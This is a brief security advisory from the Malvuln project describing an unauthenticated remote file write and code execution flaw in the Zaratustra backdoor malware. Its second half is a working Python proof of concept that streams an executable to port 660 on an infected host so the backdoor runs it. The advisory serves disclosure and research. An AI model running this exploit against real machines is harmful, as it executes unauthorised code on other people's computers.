Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/f240c16af2189ea9c94f317281ce7e59.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Zaratustra
Vulnerability: Unauthenticated Remote File Write (Remote Code Exec) 
Description: Zaratustra malware listens on TCP port 660. Third-party attackers who can reach infected systems can use a socket program to write binary data to execute. The malware then writes that data to a file named "x.exe" under c: drive and will execute upon completion of the downloaded code.
Type: PE32
MD5: f240c16af2189ea9c94f317281ce7e59
Vuln ID: MVID-2021-0315
Dropped files: x.exe
Disclosure: 08/05/2021

Exploit/PoC:
from socket import *
import time
#Has to be done slowly or will crash the backdoor.
#Tested sucessfully with an 11.5 KB executable
#Compile #define WIN32_LEAN_AND_MEAN, linker strip executable etc.. try make small as possible.

HOST = "x.x.x.x"
PORT = 660
BUF_SIZE = 32

s=socket(AF_INET, SOCK_STREAM)
s.connect((HOST, PORT))

with open("DOOM.exe", "rb") as f:
    while True:
        bytez = f.read(BUF_SIZE)
        if not bytez:
            break
        s.send(bytez)
        time.sleep(0.5)

print(" Backdoor.Win32.Zaratustra / Unauthenticated Remote File Write - RCE")
print("MD5: f240c16af2189ea9c94f317281ce7e59")
print("By malvuln")
        
s.close()



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